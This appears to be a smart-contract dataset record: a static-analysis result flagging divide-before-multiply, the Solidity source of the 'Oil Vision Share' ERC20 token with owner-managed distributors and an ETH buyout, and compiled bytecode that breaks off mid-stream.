ffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4f57600080fd5b60011515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610eae57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610eea57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610f3857600080fd5b610f81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261132e565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100d600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261142b565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600860009054906101000a900460ff161515156110d857600080fd5b6110e28383611455565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111cd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156112455780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156112a857600080fd5b6112b283836114c7565b905092915050565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561131a57600080fd5b611325848484611650565b90509392505050565b600061133c838311156118e5565b818303905092915050565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156113a757600080fd5b6113b183836118f4565b905092915050565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561141957600080fd5b6114238383611b7c565b905092915050565b600080828401905061144b8482101580156114465750838210155b6118e5565b8091505092915050565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156114b557600080fd5b6114bf8383611d1c565b905092915050565b600080821415801561155657506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561156057600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061171b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461142b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a7600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461132e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f4818461132e565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b8015156118f157600080fd5b50565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611a05576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a90565b611a0f818461132e565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600060406004810160003690501015611b9457600080fd5b611bdd600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461132e565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c69600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461142b565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000611da4600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361142b565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea165627a7a72305820496f4cb9ede6975184d5a99f50352b901ca372d3d0b03415ca777be68a58f2a20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 2,603 |
0x926f6fa890a040d4cc3f5f02ec2e1182163a33e0
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OilVisionShare is StandardToken, Ownable {
using SafeMath for uint;
string public name = "Oil Vision Share";
string public symbol = "OVS";
string public constant description = "http://oil.vision The oil.vision Project is an investment platform managed by the Japanese company eKen. We invest in the oil industry around the world. In our project we use both traditional investments in yen and modern investments in cryptocurrency.";
uint public decimals = 2;
uint public constant INITIAL_SUPPLY = 1000000000 * 10**2 ;
/* Distributors */
mapping (address => bool) public distributors;
/* Distributors amount */
mapping (address => uint) private distributorsAmount;
address[] public distributorsList;
bool public byuoutActive;
uint public byuoutCount;
uint public priceForBasePart;
function OilVisionShare() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/* Token can receive ETH */
function() external payable {
}
/* define who can transfer Tokens: owner and distributors */
modifier canTransfer() {
require(distributors[msg.sender] || msg.sender == owner);
_;
}
/* set distributor for address: state true/false = on/off distributing */
function setDistributor(address distributor, bool state, uint amount) external onlyOwner{
distributorsList.push(distributor);
distributors[distributor] = state;
/* new */
distributorsAmount[distributor] = amount;
}
/* set distributor for address: state true/false = on/off distributing */
function setDistributorAmount(address distributor, bool state, uint amount) external onlyOwner{
distributors[distributor] = state;
distributorsAmount[distributor] = amount;
}
/* buyout mode is set to flag "status" value, true/false */
function setByuoutActive(bool status) public onlyOwner {
byuoutActive = status;
}
/* set Max token count to buyout */
function setByuoutCount(uint count) public onlyOwner {
byuoutCount = count;
}
/* set Token base-part prise in "wei" */
function setPriceForBasePart(uint newPriceForBasePart) public onlyOwner {
priceForBasePart = newPriceForBasePart;
}
/* send Tokens to any investor by owner or distributor */
function sendToInvestor(address investor, uint value) public canTransfer {
require(investor != 0x0 && value > 0);
require(value <= balances[owner]);
/* new */
require(distributorsAmount[msg.sender] >= value && value > 0);
distributorsAmount[msg.sender] = distributorsAmount[msg.sender].sub(value);
balances[owner] = balances[owner].sub(value);
balances[investor] = balances[investor].add(value);
addTokenHolder(investor);
Transfer(owner, investor, value);
}
/* transfer method, with byuout */
function transfer(address to, uint value) public returns (bool success) {
require(to != 0x0 && value > 0);
if(to == owner && byuoutActive && byuoutCount > 0){
uint bonus = 0 ;
if(value > byuoutCount){
bonus = byuoutCount.mul(priceForBasePart);
byuoutCount = 0;
}else{
bonus = value.mul(priceForBasePart);
byuoutCount = byuoutCount.sub(value);
}
msg.sender.transfer(bonus);
}
addTokenHolder(to);
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint value) public returns (bool success) {
require(to != 0x0 && value > 0);
addTokenHolder(to);
return super.transferFrom(from, to, value);
}
/* Token holders */
mapping(uint => address) public indexedTokenHolders;
mapping(address => uint) public tokenHolders;
uint public tokenHoldersCount = 0;
function addTokenHolder(address investor) private {
if(investor != owner && indexedTokenHolders[0] != investor && tokenHolders[investor] == 0){
tokenHolders[investor] = tokenHoldersCount;
indexedTokenHolders[tokenHoldersCount] = investor;
tokenHoldersCount ++;
}
}
}
|
0x608060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610177578063095ea7b31461020757806318160ddd1461026c57806321c4d6501461029757806323b872dd146102c25780632ff2e9dc14610347578063313ce567146103725780634787513a1461039d5780634a9bdb65146103c857806353613769146103f3578063638b5e531461044c57806366188463146104a357806370a08231146105085780637284e4161461055f5780638da5cb5b146105ef57806395d89b4114610646578063994e8f26146106d65780639cda1ec514610743578063a9059cbb1461079c578063b0b189ca14610801578063c53f926b1461084e578063c5f706821461087d578063cc642784146108aa578063d73dd62314610905578063dd62ed3e1461096a578063e52d0659146109e1578063ebc3425014610a0e578063f2fde38b14610a7b578063ffe57c1614610abe575b005b34801561018357600080fd5b5061018c610aed565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cc5780820151818401526020810190506101b1565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021357600080fd5b50610252600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8b565b604051808215151515815260200191505060405180910390f35b34801561027857600080fd5b50610281610c7d565b6040518082815260200191505060405180910390f35b3480156102a357600080fd5b506102ac610c87565b6040518082815260200191505060405180910390f35b3480156102ce57600080fd5b5061032d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8d565b604051808215151515815260200191505060405180910390f35b34801561035357600080fd5b5061035c610cdd565b6040518082815260200191505060405180910390f35b34801561037e57600080fd5b50610387610ce6565b6040518082815260200191505060405180910390f35b3480156103a957600080fd5b506103b2610cec565b6040518082815260200191505060405180910390f35b3480156103d457600080fd5b506103dd610cf2565b6040518082815260200191505060405180910390f35b3480156103ff57600080fd5b5061044a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919080359060200190929190505050610cf8565b005b34801561045857600080fd5b5061048d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610df4565b6040518082815260200191505060405180910390f35b3480156104af57600080fd5b506104ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e0c565b604051808215151515815260200191505060405180910390f35b34801561051457600080fd5b50610549600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061109d565b6040518082815260200191505060405180910390f35b34801561056b57600080fd5b506105746110e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b4578082015181840152602081019050610599565b50505050905090810190601f1680156105e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105fb57600080fd5b50610604611103565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561065257600080fd5b5061065b611129565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561069b578082015181840152602081019050610680565b50505050905090810190601f1680156106c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106e257600080fd5b50610701600480360381019080803590602001909291905050506111c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074f57600080fd5b5061079a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919080359060200190929190505050611205565b005b3480156107a857600080fd5b506107e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611367565b604051808215151515815260200191505060405180910390f35b34801561080d57600080fd5b5061084c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114e3565b005b34801561085a57600080fd5b5061087b600480360381019080803515159060200190929190505050611921565b005b34801561088957600080fd5b506108a86004803603810190808035906020019092919050505061199a565b005b3480156108b657600080fd5b506108eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a00565b604051808215151515815260200191505060405180910390f35b34801561091157600080fd5b50610950600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a20565b604051808215151515815260200191505060405180910390f35b34801561097657600080fd5b506109cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1c565b6040518082815260200191505060405180910390f35b3480156109ed57600080fd5b50610a0c60048036038101908080359060200190929190505050611ca3565b005b348015610a1a57600080fd5b50610a3960048036038101908080359060200190929190505050611d09565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8757600080fd5b50610abc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d3c565b005b348015610aca57600080fd5b50610ad3611e94565b604051808215151515815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b835780601f10610b5857610100808354040283529160200191610b83565b820191906000526020600020905b815481529060010190602001808311610b6657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600c5481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614158015610cb55750600082115b1515610cc057600080fd5b610cc983611ea7565b610cd4848484612064565b90509392505050565b64174876e80081565b60065481565b600f5481565b600b5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d5457600080fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600e6020528060005260406000206000915090505481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f1d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb1565b610f30838261241e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6101206040519081016040528060fc81526020016126b060fc913981565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111bf5780601f10611194576101008083540402835291602001916111bf565b820191906000526020600020905b8154815290600101906020018083116111a257829003601f168201915b505050505081565b6009818154811015156111d657fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126157600080fd5b60098390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff16141580156113915750600083115b151561139c57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114055750600a60009054906101000a900460ff165b801561141357506000600b54115b156114c75760009050600b5483111561144c5761143d600c54600b5461243790919063ffffffff16565b90506000600b8190555061147f565b611461600c548461243790919063ffffffff16565b905061147883600b5461241e90919063ffffffff16565b600b819055505b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114c5573d6000803e3d6000fd5b505b6114d084611ea7565b6114da8484612472565b91505092915050565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115885750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561159357600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141580156115ba5750600081115b15156115c557600080fd5b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561163457600080fd5b80600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156116835750600081115b151561168e57600080fd5b6116e081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241e90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179681600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241e90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061184b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189682611ea7565b8173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197d57600080fd5b80600a60006101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f657600080fd5b80600b8190555050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000611ab182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff